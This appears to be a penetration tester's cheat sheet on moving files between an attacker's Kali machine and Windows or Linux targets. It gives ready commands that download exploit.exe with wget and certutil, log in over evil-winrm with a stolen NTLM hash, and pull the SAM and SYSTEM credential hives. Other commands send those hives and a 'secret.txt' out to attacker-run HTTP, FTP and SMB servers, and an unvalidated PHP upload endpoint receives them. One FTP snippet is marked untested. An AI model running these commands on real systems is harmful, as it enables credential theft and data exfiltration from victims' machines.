Skip to content

File transfer

python server


python3 -m http.server 80

Wget


Use Case: - get file from http server

ENV: - (linux) - bash

wget http://10.10.10.5/exploit.exe
- (windows) - powershell - as a wrapper for Invoke-WebRequest
wget http://10.10.10.5/exploit.exe -O exploit.exe

WinRM - connect and download/upload file


Use Case: - transfer files - execute commands on kali

evil-winrm -i $IP_MS02 -u $CELINA_USER -H $CELINA_NTLM

proxychains -q evil-winrm -i $IP_MS02 -u $CELINA_USER -H $CELINA_NTLM
*Evil-WinRM* PS > download C:\Users\celia\SAM SAM
*Evil-WinRM* PS > download C:\Users\celia\SYSTEM SYSTEM

Certutil


Use Case: - get file from http server ENV: - (windows) - cmd - (windows) - powershell

certutil -urlcache -f http://10.10.119.141/exploit.exe exploit.exe

HttpServer.PY


Use Case: - expose static files by http server ENV: - (linux) - bash

python3 -m http.server 80

HttpServer.PHP


php -S localhost:80

upload.php

<?php
    $uploadPath = '/var/www/html/uploads';
    $uploadFile = $uploadPath . $_FILES['file']['name'];
    move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile);
?>

on windows

powershell (New-Object System.Net.WebClient).UploadFile('http://<IP>/upload.php', 'secret.txt')

UploadServer


Use Case: - expose static files by http server - accept incoming file (POST request, files parameter) ENV: - (linux) - bash

# https://pypi.org/project/uploadserver/
# sudo pip3 install uploadserver
python3 -m uploadserver

FTP


linux - expose ftp server

pip3 install pyftpdlib
python3 -m pyftpdlib -p 2121 -w -d /home/kali/workspace/dump2

windows

$client = New-Object System.Net.WebClient
#$client.Credentials = New-Object System.Net.NetworkCredential("username", "password")
$client.UploadFile("ftp://10.10.83.141:2121/SAM", "C:\Users\celia.almeda\SAM")
# !!!! NOT TESTED !!!!

SMB


(linux) - setup server

sudo /opt/tools/impacket/examples/smbserver.py -smb2support public .
sudo /opt/tools/impacket/examples/smbserver.py -smb2support -username hacker -password hacker public .

(linux) - powershell, copy file from windows to kali

copy C:\Users\admin\Desktop\SYSTEM \\<KALI_IP>\public\
copy C:\Users\admin\Desktop\SAM \\<KALI_IP>\public\

Other


  • https://book.hacktricks.xyz/generic-methodologies-and-resources/exfiltration#debug.exe